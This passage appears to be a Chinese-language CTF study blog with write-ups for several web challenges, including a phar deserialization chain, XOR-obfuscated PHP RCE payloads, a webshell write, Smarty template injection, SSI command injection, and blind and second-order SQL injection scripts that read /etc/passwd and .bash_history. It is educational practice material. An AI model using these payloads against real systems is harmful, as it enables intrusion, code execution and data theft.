return $content;
}
public function __set($key,$value)
{
$this->$key = $value;
}
public function _show()
{
if(preg_match('/http|https|file:|gopher|dict|\.\.|f1ag/i',$this->source)) {
die('hacker!');
} else {
highlight_file($this->source);
}

}
public function __wakeup()
{
if(preg_match("/http|https|file:|gopher|dict|\.\./i", $this->source)) {
echo "hacker~";
$this->source = "index.php";
}
}
}
class Test
{
public $file;
public $params;
public function __construct()
{
$this->params = array();
}
public function __get($key)
{
return $this->get($key);
}
public function get($key)
{
if(isset($this->params[$key])) {
$value = $this->params[$key];
} else {
$value = "index.php";
}
return $this->file_get($value);
}
public function file_get($value)
{
$text = base64_encode(file_get_contents($value));
return $text;
}
}
?>

出现类,观察魔术方法以及危险函数,应该是有反序列化的知识,但没有unserialize函数,搜索了一下,可以用phar协议触发反序列化,所以直接构造利用链:

{ .theme-legacy }
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
#先从危险函数存在的位置开始:
class Test

public function file_get($value)
{
$text = base64_encode(file_get_contents($value));
return $text;
}


public function get($key)
{
if(isset($this->params[$key])) {
$value = $this->params[$key];
} else {
$value = "index.php";
}
return $this->file_get($value);
}

public $file;
public $params;

#$params可控

public function __get($key)
{
return $this->get($key);
}

#触发魔术方法__get,可以在class Show里面找到

class Show

public $source;
public $str;

public function __toString()
{
$content = $this->str['str']->source;
return $content;
}

#$str可控,可以访问Test中不存在的source,魔术方法__tostring也需要触发

class C1e4r
{
public $test;
public $str;

public function __destruct()
{
$this->test = $this->str;
echo $this->test;
}
}

#$test可控,可以将类Show作为字符串进行访问

开始造exp:

{ .theme-legacy }
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
 <?php
class C1e4r
{
public $test;
public $str;
}

class Show
{
public $source;
public $str;
}
class Test
{
public $file;
public $params;
}


$a = new C1e4r();
$b = new Show();
$c = new Test();
$c->params['source']="/var/www/html/f1ag.php";
$b->str['str'] = $c;
$a->str = $b;


//然后是phar知识
$phar = new Phar("muhua.phar"); //以phar为后缀
$phar->startBuffering();
$phar->setStub('<?php __HALT_COMPILER(); ? >'); //phar文件格式,必须有这段才会识别为phar文件
$phar->setMetadata($a); //链
$phar->addFromString("exp.txt", "test"); //生成签名,内容无所谓
$phar->stopBuffering();
?>

f1ag.php的位置是根据file.phpini_set('open_basedir','/var/www/html/');以及base.php末尾的提示得到的。function.php有过滤要求必须是$allowed_types = array("gif","jpeg","jpg","png");文件,修改后缀后上传文件。
根据function.php中代码

{ .theme-legacy }
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
$filename = md5($_FILES["file"]["name"].$_SERVER["REMOTE_ADDR"]).".jpg"; 
//mkdir("upload",0777);
if(file_exists("upload/" . $filename)) {
unlink($filename);
}
move_uploaded_file($_FILES["file"]["tmp_name"],"upload/" . $filename);
echo '<script type="text/javascript">alert("上传成功!");</script>';
}
```
再加上`base.php`代码将`$_SERVER["REMOTE_ADDR"]`值打印出来了,就在页面右上角。
因此文件名为:`文件名(带后缀)加上右上角ip地址`的MD5值加上后缀`.jpg`
然后在查看文件处利用phar协议触发反序列化,得到`f1ag.php`的base64编码。



# [ISITDTU 2019]EasyPHP
一道rce:
```php { .theme-legacy }
<?php
highlight_file(__FILE__);

$_ = @$_GET['_'];
if ( preg_match('/[\x00- 0-9\'"`$&.,|[{_defgops\x7F]+/i', $_) )
die('rosé will not do it');

if ( strlen(count_chars(strtolower($_), 0x3)) > 0xd )
die('you are so close, omg');

eval($_);
?>

有两个过滤条件

首先是正则过滤preg_match('/[\x00- 0-9\'"`$&.,|[{_defgops\x7F]+/i', $_),根据wp找到一个好用的网站->链接,可以快速得知过滤的内容,根据从网站得到的知识结合手动测试,得知过滤内容为:ascii码为从0到32的符号,字符0-9,'"`$&.,|[{_等符号,以及字符defgops等,不区分大小写。

第二个过滤条件是传入的字符串中字符种类少于13种。

网上wp都是通过异或绕过,这个有点像[极客大挑战 2019]RCE ME,不过那个是通过符号异或,这个应该也可以参考。

胡乱搞了2小时后,终于花了半小时看懂了wp讲的原理:
通过字符与0xff相异或来绕过过滤,这样就在原字符串的基础上仅增加了一种字符,便于绕过第二个过滤(也就是说并非只能异或0xff,只是便于绕过第二个过滤,以及字符统一,便于转换),同时,如果字符串本身种类超过限制,可以将其中几种替换为另外已有的3种字符的异或并与0xff相异或,而未被替换的在异或同一个字符两次后仍是本身。

那么只要写好脚本进行转换就行了。

写了个脚本把对应的异或值打出,由于网上都是异或的0xff,为了理解原理,我改成了异或0xfe

{ .theme-legacy }
1
2
3
4
5
6
7
8
9
10
import string

string = string.ascii_lowercase + "_"

for i in string:
a=254^ord(i)
a=hex(a)
c="%s=%s" %(i,a)
print(c)

组合出一个payload:

{ .theme -legacy }
1
2
?_=((%8e%96%8e%97%90%98%91)^(%fe%fe%fe%fe%fe%fe%fe))();
#phpinfo();

提交得到phpinfo的界面。查看disable_function,很多执行函数,system,exec之类的都被ban掉了。
尝试查看当前文件夹内容,将print_r(scandir(.))进行转化

{ .theme-legacy }
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59

((%8e%8c%97%90%8a%a1%8c)^(%fe%fe%fe%fe%fe%fe%fe))(((%8d%9d%9f%90%9a%97%8c)^(%fe%fe%fe%fe%fe%fe%fe))((%d0^%fe)));

r=c^p^a
t=d^c^s
n=d^i^c
#经过替换之后发生了一点点变化:

((%8e%9d%97%9a%9a%a1%9d)^(%fe%fe%fe%fe%fe%fe%fe)^(%fe%8e%fe%97%9d%fe%8e)^(%fe%9f%fe%9d%8d%fe%9f))(((%8d%9d%9f%9a%9a%97%9d)^(%fe%fe%fe%fe%fe%fe%fe)^(%fe%fe%fe%97%fe%fe%8e)^(%fe%fe%fe%9d%fe%fe%9f))((%d0^%fe)));

#打上去之后我们得到了:
Array ( [0] => . [1] => .. [2] => index.php [3] => n0t_a_flAg_FiLe_dONT_rE4D_7hIs.txt )

#可以看出,只要读出n0t_a_flAg_FiLe_dONT_rE4D_7hIs.txt就行了,但命令执行明显是不行的,但可以用代码高亮查看,但这个长度种类要转换也是很困难的,于是使用end函数,show_source或highlight_file,我比较喜欢highlight_file


highlight_file(end(scandir(.)))
((%96%97%99%96%92%97%99%96%8a%a1%98%97%92%9b)^(%fe%fe%fe%fe%fe%fe%fe%fe%fe%fe%fe%fe%fe%fe))((%9b%90%9a)(%fe%fe%fe)((%8d%9d%9f%90%9a%97%8c)(%fe%fe%fe%fe%fe%fe%fe)((%d0^%fe))));


a=tfs
r=tnh



e=ngl


c=lgh
d=lnf
i=hfg


a=ngh


s=;f.
r=;g.
t=;g(

((%96%97%99%96%92%96%99%96%c5%a1%98%96%92%90)^(%fe%fe%fe%fe%fe%fe%fe%fe%fe%fe%fe%fe%fe%fe)^(%fe%fe%fe%fe%fe%98%fe%fe%99%fe%fe%98%fe%99)^(%fe%fe%fe%fe%fe%99%fe%fe%d6%fe%fe%99%fe%92))(((%90%90%92)^(%fe%fe%fe)^(%99%fe%90)^(%92%fe%98))((%c5%92%90%90%92%96%c5)^(%fe%fe%fe%fe%fe%fe%fe)^(%98%99%99%fe%90%98%99)^(%d0%96%96%fe%98%99%d0))((%d0^%fe)));

#经过两次修改发现种类还是超过了,早上起来以为分号括号点号可以直接用于异或后来才想起来是和%fe异或得到的值用于异或,这样反而凭空多出了3个种类,最后还是有15种,最终决定还是只能使用show_source,因为show_source增加的字符种类本身就少一个

show_source(end(scandir(.)))

acdehinorsuw

o=dch
s=der
u=dcr
a=dwr
i=dhe
n=hec

#同理经过一点修改得到了包含13种字符的payload(事实上因为找了几个小时也只找到了5个可替代字符方案,终于还是研究了wp的payload最终得到了6个可替代字符方案)

((%9a%96%9a%89%a1%9a%9a%9a%8c%9d%9b)^(%fe%fe%fe%fe%fe%fe%fe%fe%fe%fe%fe)^(%9b%fe%9d%fe%fe%9b%9d%9d%fe%fe%fe)^(%8c%fe%96%fe%fe%8c%96%8c%fe%fe%fe))(((%9b%96%9a)^(%fe%fe%fe)^(%fe%9b%fe)^(%fe%9d%fe))(((%9a%9d%9a%96%9a%9a%8c)^(%fe%fe%fe%fe%fe%fe%fe)^(%9b%fe%89%9b%fe%96%fe)^(%8c%fe%8c%9d%fe%9b%fe))((%d0^%fe))));

[红明谷CTF 2021]write_shell

之前好像做过但没印象了,不过确实是简单题

{ .theme-legacy }
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
<?php
error_reporting(0);
highlight_file(__FILE__);
function check($input){
if(preg_match("/'| |_|php|;|~|\\^|\\+|eval|{|}/i",$input)){
// if(preg_match("/'| |_|=|php/",$input)){
die('hacker!!!');
}else{
return $input;
}
}

function waf($input){
if(is_array($input)){
foreach($input as $key=>$output){
$input[$key] = waf($output);
}
}else{
$input = check($input);
}
}

$dir = 'sandbox/' . md5($_SERVER['REMOTE_ADDR']) . '/';
if(!file_exists($dir)){
mkdir($dir);
}
switch($_GET["action"] ?? "") {
case 'pwd':
echo $dir;
break;
case 'upload':
$data = $_GET["data"] ?? "";
waf($data);
file_put_contents("$dir" . "index.php", $data);
}
?>

先查看index.php的位置:
?action=pwd
接着进行写入,看一眼过滤内容:',空格,下划线,php,分号,取反号,异或符,加号,,eval,花括号
命令执行能用,直接用短标签写入命令执行,payload:
?action=upload&data=<?=`ls%09/*`?>
得到根目录下有一个可疑文件,直接读取所有内容:
?action=upload&data=<?=`cat%09/*`?>

[NESTCTF 2019]Love Math 2

[CISCN 2019 初赛]Love Math的进阶版
这次是异或的知识

{ .theme-legacy }
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php
error_reporting(0);
//听说你很喜欢数学,不知道你是否爱它胜过爱flag
if(!isset($_GET['c'])){
show_source(__FILE__);
}else{
//例子 c=20-1
$content = $_GET['c'];
if (strlen($content) >= 60) {
die("太长了不会算");
}
$blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]'];
foreach ($blacklist as $blackitem) {
if (preg_match('/' . $blackitem . '/m', $content)) {
die("请不要输入奇奇怪怪的字符");
}
}
//常用数学函数http://www.w3school.com.cn/php/php_ref_math.asp
$whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'bindec', 'ceil', 'cos', 'cosh', 'decbin' , 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];
preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/', $content, $used_funcs);
foreach ($used_funcs[0] as $func) {
if (!in_array($func, $whitelist)) {
die("请不要输入奇奇怪怪的函数");
}
}
//帮你算出答案
eval('echo '.$content.';');
}

这次限定的字符数较短,不能再用函数对进制转换得到想要的码

限定了使用的函数必须为白名单内的,那么就用白名单内的函数名作为字符串做异或运算得到我们想要的字符,来构造payload
得到字符fghilmo是可以与下划线”_“异或得到数字字符的(只有数字是被允许的),也就是说这些字符与数字字符异或就能得到下划线,接着找第二位也符合条件的,只有st,于是找到最短的is_nan,接着用同样的方法得到最短的tan作为异或得到ET的字符
构造payload:
?c=$pi=(is_nan^(6).(4)).(tan^(1).(5));$pi=$$pi;$pi{1}($pi{2})&1=system&2=cat /*
命令执行成功

[极客大挑战 2020]Greatphp

{ .theme-legacy }
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php
error_reporting(0);
class SYCLOVER {
public $syc;
public $lover;

public function __wakeup(){
if( ($this->syc != $this->lover) && (md5($this->syc) === md5($this->lover)) && (sha1($this->syc)=== sha1($this->lover)) ){
if(!preg_match("/\<\?php|\(|\)|\"|\'/", $this->syc, $match)){
eval($this->syc);
} else {
die("Try Hard !!");
}

}
}
}

if (isset($_GET['great'])){
unserialize($_GET['great']);
} else {
highlight_file(__FILE__);
}

?>

反序列化里的md5和sha1函数绕过,试了试数组绕过不太行,开始学习(看wp),使用Error类,md5和sha1函数会触发Error类里的魔术方法__toString,返回flase,过滤部分用取反绕过,尝试异或失败,poc得到的payload直接就得到过滤内容了,括号也是被过滤的,没法用来隔开前面部分的include:

{ .theme-legacy }
1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
class SYCLOVER {
public $syc;
public $lover;
}
$str = "?><?=include~".urldecode("%D0%99%93%9E%98")."?>";#取反其实也就是和0xff进行异或
$a=new Error($str,1);$b=new Error($str,2);
$c=new SYCLOVER();
$c->syc=$a;
$c->lover=$b;

$c=urlencode(serialize($c));#转换为url编码更方便
echo $c;
?>

2021/7/24

[SWPU 2019]Web4

(这题真是太有趣辣)
打开环境看见账号密码,先查看页面源码,没有发现提示,尝试找文件备份也没有,尝试注入没反应,抓包发现有响应,可以看到抓包上传的get内容为r=Login/Login,尝试注入,有回显,但没有实际意义,应该是自己设置的回显内容,尝试时间盲注,有过滤,使用16进制绕过:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
import requests
import json
import time
import string

def main():
#题目地址
url = '''url/index.php?r=Login/Login'''
#注入payload,末尾加空格
payloads = "asd';prepare muhua from 0x{0};execute muhua-- +"
str=string.ascii_letters+'_'+'.'
flag = ''

for i in range(1,5):
#查询payload
payload = "select if(ascii(substr((select group_concat(table_name) from information_schema.columns where table_name='flag'),{0},1))={1},sleep(3),1)"
for k in str:
j=ord(k)
#将构造好的payload进行16进制转码和json转码
datas = {'username':payloads.format(str_to_hex(payload.format(i,j))),'password':'666'}
data = json.dumps(datas)

print(chr(j))

try:
requests.post(url=url,data=data,timeout=(2.5,2.5))
except:
flag = flag + chr(j)
print(flag)
break

def str_to_hex(s):
return ''.join([hex(ord(c)).replace('0x', '') for c in s])

main()

在库ctf的表flag里的flag字段找到glzjin_wants_a_girl_friend.zip,下载源码
url大致的解析流程:从r参数中获取要访问的Controller以及Action,然后以/分隔开后拼接成完整的控制器名。以Login/Index为例,就是将Login/Index分隔开分别拼接成LoginController以及actionIndex,然后调用LoginController这个类中的actionIndex方法。每个action里面会调用对应的loadView()方法进行模版渲染,然后将页面返回给客户端。若访问的Controller不存在则默认解析Login/Index。(from某大佬wp链接
这种模板我是真不太明白。怎么调用对应文件倒是明白了。

找到直接利用可以进行文件读取的部分,在文件view/userIndex.php中:

{ .theme-legacy }
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
<?php
if(!isset($img_file)) {
$img_file = '/../favicon.ico';
}
$img_dir = dirname(__FILE__) . $img_file;
$img_base64 = imgToBase64($img_dir);
echo '<img src="' . $img_base64 . '">'; //图片形式展示
?>
<?php
function imgToBase64($img_file) {

$img_base64 = '';
if (file_exists($img_file)) {
$app_img_file = $img_file; // 图片路径
$img_info = getimagesize($app_img_file); // 取得图片的大小,类型等

$fp = fopen($app_img_file, "r"); // 图片是否可读权限

if ($fp) {
$filesize = filesize($app_img_file);
$content = fread($fp, $filesize);
$file_content = chunk_split(base64_encode($content)); // base64编码
switch ($img_info[2]) { //判读图片类型
case 1: $img_type = "gif";
break;
case 2: $img_type = "jpg";
break;
case 3: $img_type = "png";
break;
}

$img_base64 = 'data:image/' . $img_type . ';base64,' . $file_content;//合成图片的base64编码

}
fclose($fp);
}

return $img_base64; //返回图片的base64
}
?>

$img_file如果未赋值就会被赋值/../favicon.ico,那么只要提前给它赋值我想要读取的文件就可以了。

Cotroller/BaseCotroller.php中可以看到:

{ .theme-legacy }
1
2
3
4
5
6
7
8
9
10
11
12
13
class BaseController
{
private $viewPath;
public function loadView($viewName ='', $viewData = [])
{
$this->viewPath = BASE_PATH . "/View/{$viewName}.php";
if(file_exists($this->viewPath))
{
extract($viewData);
include $this->viewPath;
}
}
}

如果能控制第二个参数$viewPath,让一个数组中存在一个键值为img_file的可控变量,并且调用方法loadview进行文件包含,调用userIndex.php就可以得到想要的文件中的base64编码,在Cotroller/UserCotroller.php里:

{ .theme-legacy }
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
class UserController extends BaseController
{
// 访问列表
public function actionList()
{
$params = $_REQUEST;
$userModel = new UserModel();
$listData = $userModel->getPageList($params);
$this->loadView('userList', $listData );
}
public function actionIndex()
{
$listData = $_REQUEST;
$this->loadView('userIndex',$listData);
}
}

可以看到UserCotroller类继承了类BaseCotroller,并且在actionIndex方法里调用了loadView方法,而第二个参数参数$listData是使用的$_REQUEST,明显是可控数组(可由用户传入任何get或post信息来控制),而第一个参数正是userIndex,那么构造payload:
?r=User/Index&img_file=/../flag.phpimg_file变量用post方法传入也是一样的。

[WUSTCTF2020]颜值成绩查询

打开环境,既然是成绩查询,那就先来个1,下面出现:”Hi admin, your score is: 100“,接着输入2,这次改成了666,接着输入3和4,而5的时候没了:”student number not exists.“,尝试加单双引号和括号都是显示不存在,当尝试输入”?stunum=3-2“的时候,出现的是1对应的100分,确定存在数字型注入,于是使用异或进行布尔盲注:

{ .theme-legacy }
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
import string
import requests
import json
import time

str = string.ascii_letters + '_' + ',' + '}' + string.digits + '{' + '-'
def main():
#题目地址
url = '''http://562e451b-22c3-40f3-9c04-d0fae1c7e2e5.node4.buuoj.cn/'''
#注入payload

flag = ''
for i in range(100):
for j in str:
k=ord(j)
payload = "?stunum=0^if(ord(substr((select/**/group_concat(value)from(flag)),%d,1))=%d,2,6)" %(i,k)
#存在对空格的过滤或者只是单纯的空格无法连接
res = requests.post(url = url+payload)

if "666" in res.text:
flag = flag + j
print(flag)
break
main()

在库ctf中的flag表的value列得到了flag

[CISCN2019 华东南赛区]Web11

打开环境,页面最下方有Build With Smarty !,可知是smarty模板,右上角显示了xff,我的插件常年开着的,右上角显示的正是我一直放着的假xff,于是bp抓包在xff出构造模板注入:
直接命令执行:{system{'cat /flag'}}
使用if标签:{if readfile('/flag')}{/if}

[Zer0pts2020]Can you guess it?

{ .theme-legacy }
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
打开环境,随便输个东西提交,显示wrong,点开`source`,是页面源码,审计:
<?php
include 'config.php'; // FLAG is defined in config.php

if (preg_match('/config\.php\/*$/i', $_SERVER['PHP_SELF'])) {
exit("I don't know what you are thinking, but I won't let you read it :)");
}

if (isset($_GET['source'])) {
highlight_file(basename($_SERVER['PHP_SELF']));
exit();
}

$secret = bin2hex(random_bytes(64));
if (isset($_POST['guess'])) {
$guess = (string) $_POST['guess'];
if (hash_equals($secret, $guess)) {
$message = 'Congratulations! The flag is: ' . FLAG;
} else {
$message = 'Wrong.';
}
}
?>
<!doctype html>
<html lang="en">
<head>
<meta charset="utf-8">
<title>Can you guess it?</title>
</head>
<body>
<h1>Can you guess it?</h1>
<p>If your guess is correct, I'll give you the flag.</p>
<p><a href="?source">Source</a></p>
<hr>
<?php if (isset($message)) { ?>
<p><?= $message ?></p>
<?php } ?>
<form action="index.php" method="POST">
<input type="text" name="guess">
<input type="submit">
</form>
</body>
</html>

首先提示flag在config.php里,然后先关注到下面那个输出FLAG,一番研究之后发现这个对比是完完全全的128位随机数,并且用于对比的hash_equals()函数也是完全对照,要求位数也要一致,没法绕过。

于是看到上面的可利用的就只有$SERVER['PHP_SELF'],详见PHP中$_SERVER的详细用法,需要绕过正则preg_match('/config\.php\/*$/i', $_SERVER['PHP_SELF']),匹配字符串末尾的”config.php“,然后对获取到的文件目录使用basename()函数处理,再进行代码高亮,那么只要让当前获取的文件目录能够绕过正则,并且经过处理能够去掉末尾添加的内容即可。basename()函数会去掉最后一个/前面部分,但如果最后一个/后面的部分不是128个ascii编码内容也会被去掉,并且将前一个/作为最后一个/。(大概是这样)
payload:index.php/config.php/逆天?source

[网鼎杯 2018]Comment

由于对工具用的太少导致源码泄露这点儿就花了好久。。。
打开环境看到留言板,但发表不了,用.git源码泄露,用GitHacker搞下来个write_do.php

1
>conv\GitHacker\1>githacker --url http://f13838b0-8f81-41b5-905f-017c5d981de2.node4.buuoj.cn/.git --folder result

但感觉少了很多东西,查询解决方法(看wp),发现原来确实缺了东西,而且也有hint,按下f12,可以在控制台看到:”程序员GIT写一半跑路了,都没来得及Commit :)“,这既是.gt源码泄露的hint,也是源码需要还原的提示,于是在获取到的.git目录下需要输入两个命令:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
>conv\GitHacker\1\result>git log --reflog
commit e5b2a2443c2b6d395d06960123142bc91123148c (refs/stash)
Merge: bfbdf21 5556e3a
Author: root <root@localhost.localdomain>
Date: Sat Aug 11 22:51:17 2018 +0800

WIP on master: bfbdf21 add write_do.php

commit 5556e3ad3f21a0cf5938e26985a04ce3aa73faaf
Author: root <root@localhost.localdomain>
Date: Sat Aug 11 22:51:17 2018 +0800

index on master: bfbdf21 add write_do.php

commit bfbdf218902476c5c6164beedd8d2fcf593ea23b
Author: root <root@localhost.localdomain>
Date: Sat Aug 11 22:47:29 2018 +0800

add write_do.php
#接着定位到第一个进行还原
>conv\GitHacker\1\result>git reset --hard e5b2a2443c2b6d395d06960123142bc91123148c
HEAD is now at e5b2a24 WIP on master: bfbdf21 add write_do.php

这样得到的就是完整的了

{ .theme-legacy }
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
<?php
include "mysql.php";
session_start();
if($_SESSION['login'] != 'yes'){
header("Location: ./login.php");
die();
}
if(isset($_GET['do'])){
switch ($_GET['do'])
{
case 'write':
$category = addslashes($_POST['category']);
$title = addslashes($_POST['title']);
$content = addslashes($_POST['content']);
$sql = "insert into board
set category = '$category',
title = '$title',
content = '$content'";
$result = mysql_query($sql);
header("Location: ./index.php");
break;
case 'comment':
$bo_id = addslashes($_POST['bo_id']);
$sql = "select category from board where id='$bo_id'";
$result = mysql_query($sql);
$num = mysql_num_rows($result);
if($num>0){
$category = mysql_fetch_array($result)['category'];
$content = addslashes($_POST['content']);
$sql = "insert into comment
set category = '$category',
content = '$content',
bo_id = '$bo_id'";
$result = mysql_query($sql);
}
header("Location: ./comment.php?id=$bo_id");
break;
default:
header("Location: ./index.php");
}
}
else{
header("Location: ./index.php");
}
?>

在尝试访问write_do.php,会跳转到/login,给了账号,密码还差后3位,进行数字爆破,得到是666(页面返回302)。
登入之后可以进行发帖了,对write_do.php进行审计。

输入的三个变量都被addslashes()函数处理过了,会在单双引号,反斜杠和null前面加上反斜杠进行转义。

直接从数据库中得到的category字段的值没有进行过滤,于是就造成了二次注入

{ .theme-legacy }
1
2
$category = mysql_fetch_array($result)['category'];
$content = addslashes($_POST['content']);

addslashes处理后产生的反斜杠”\“不会进入数据库,也就是说'1在进行处理后会变成\'1,但进入数据库之后却还是'1,虽然无法直接造成注入,但可以在取出后拼接sql语句造成注入

{ .theme-legacy }
1
2
#传入category值为:
', content=user(),/*
{ .theme-legacy }
1
2
#然后再查看详情,进行留言,用于闭合:
*/#

最后就会拼成:

{ .theme-legacy }
1
2
3
4
$sql = "insert into comment
set category = '', content=user(),/*
content = '*/#',
bo_id = '$bo_id'";

有点类似反序列化的构造绕过

闭合掉前面的catrgory值,并且让content值可控,再注释掉content部分,以及注释掉最后的单引号。

尝试直接读取passwd文件:
', content=load_file('/etc/passwd'),/*

读取历史操作指令:
', content=load_file('/home/www/.bash_history'),/*

1
2
3
4
5
6
7
cd /tmp/ #打开文件夹
unzip html.zip #解压
rm -f html.zip #删除压缩包
cp -r html /var/www/ #复制文件夹到/var/www
cd /var/www/html/ #打开复制得到的文件夹
rm -f .DS_Store #删除里面的一个重要文件
service apache2 start

可以看到html.zip里面有文件html/.DS_Store,复制到/var/www/目录下后压缩包被删除了,但解压后生成的文件夹还在,读取.DS_Store文件。

', content=hex(load_file('/tmp/html/.DS_Store')),/*
获取到的字符串数据进行16进制转字符串,出现flag_8946e1ff1ee3e40f.php,进行读取。

', content=load_file('/tmp/html/flag_8946e1ff1ee3e40f.php'),/*

但是错了,再读/var/www/html/

', content=(load_file('/var/www/html/flag_8946e1ff1ee3e40f.php')),/*
获取到真实的flag,蛮奇怪的,如果真是复制得到的,怎么会内容不一样

[BJDCTF2020]Mark loves cat

.git源码泄露,用GitHacker拿到源码

index.php末尾得到:

{ .theme-legacy }
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
<?php

include 'flag.php';

$yds = "dog";
$is = "cat";
$handsome = 'yds';

foreach($_POST as $x => $y){
$$x = $y;
}



foreach($_GET as $x => $y){
$$x = $$y;
}

foreach($_GET as $x => $y){
if($_GET['flag'] === $x && $x !== 'flag'){
exit($handsome);
}
}

if(!isset($_GET['flag']) && !isset($_POST['flag'])){
exit($yds);
}

if($_POST['flag'] === 'flag' || $_GET['flag'] === 'flag'){
exit($is);
}



echo "the flag is: ".$flag;

再看看被包含的flag.php

{ .theme-legacy }
1
2
3
<?php

$flag = file_get_contents('/flag');

本来一心想着绕过,但完全没办法,因为一旦满足条件,$flag就会被替换:

{ .theme-legacy }
1
2
3
4
5
6
7
foreach($_POST as $x => $y){
$$x = $y;
}

foreach($_GET as $x => $y){
$$x = $$y;
}

试了好多次,看着一次次的报错,突然想起来,既然它要替换,又要报错,那就直接让他的报错内容替换成flag不就好了吗
于是构造payload:yds=flag

[MRCTF2020]PYWebsite

打开环境,ctrl+u,得到一段验证代码:

{ .theme-legacy }
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<script>

function enc(code){
hash = hex_md5(code);
return hash;
}
function validate(){
var code = document.getElementById("vcode").value;
if (code != ""){
if(hex_md5(code) == "0cd4da0223c0b280829dc3ea458d655c"){
alert("您通过了验证!");
window.location = "./flag.php"
}else{
alert("你的授权码不正确!");
}
}else{
alert("请输入授权码");
}

}

</script>

直接访问/flag.php界面,提示记录了IP,只有购买者和本人才能查看,那么本地IP就是127.0.0.1,直接使用插件X-Forwarded-For Header修改xff值提交,flag就在页面源码。

[BJDCTF2020]EasySearch

存在源码泄露,访问index.php.swp(没得提示,buu又没办法扫):

{ .theme-legacy }
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
 if(isset($_POST['username']) and $_POST['username'] != '' )
{
$admin = '6d0bc1';
if ( $admin == substr(md5($_POST['password']),0,6)) {
echo "<script>alert('[+] Welcome to manage system')</script>";
$file_shtml = "public/".get_hash().".shtml";
$shtml = fopen($file_shtml, "w") or die("Unable to open file!");
$text = '




<h1>Hello,'.$_POST['username'].'</h1>



';
fwrite($shtml,$text);
fclose($shtml);


echo "[!] Header error ...";
} else {
echo "<script>alert('[!] Failed')</script>";

}

首先通过检查,也就是密码经过md5()函数处理后,前6位要等于$admin的值,直接用工具脚本爆了个出来”JTztkj5z959u4SkY4KAr“,而用户名会被写入一个新建shtml文件里,Apache SSI 远程命令执行漏洞就是利用了shtml文件,然后按照那个格式:<!--#exec cmd="ls /" --> 通过参数username写进文件里面。

1
2
3
4
5
6
#通过bp使用POST方法上传:
username=%3C%21--%23exec+cmd%3D%22ls%22+--%3E&password=JTztkj5z959u4SkY4KAr

#返回的页面出现:
Url_is_here: public/b03c3e77305c47e95ff8c7d392ce1ad02fcadd9c.shtml

访问该文件,即可执行ls命令,然后上传其他指令会生成新文件,进行访问即可。

{ .theme-legacy }
1
2
3
4
5
#通过find指令查找flag文件:
find /var -name fl*
/var/www/html/flag_990c66bf85a09c664f0b6741840499b2
#查看文件:
cat /var/www/html/flag_990c66bf85a09c664f0b6741840499b2

[SUCTF 2019]EasyWeb

{ .theme-legacy }
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
<?php
function get_the_flag(){
// webadmin will remove your upload file every 20 min!!!!
$userdir = "upload/tmp_".md5($_SERVER['REMOTE_ADDR']);
if(!file_exists($userdir)){
mkdir($userdir);
}
if(!empty($_FILES["file"])){
$tmp_name = $_FILES["file"]["tmp_name"];
$name = $_FILES["file"]["name"];
$extension = substr($name, strrpos($name,".")+1);
if(preg_match("/ph/i",$extension)) die("^_^");
if(mb_strpos(file_get_contents($tmp_name), '<?')!==False) die("^_^");
if(!exif_imagetype($tmp_name)) die("^_^");
$path= $userdir."/".$name;
@move_uploaded_file($tmp_name, $path);
print_r($path);
}
}

$hhh = @$_GET['_'];

if (!$hhh){
highlight_file(__FILE__);
}

if(strlen($hhh)>18){
die('One inch long, one inch strong!');
}

if ( preg_match('/[\x00- 0-9A-Za-z\'"\`~_&.,|=[\x7F]+/i', $hhh) )
die('Try something else!');

$character_type = count_chars($hhh, 3);
if(strlen($character_type)>12) die("Almost there!");

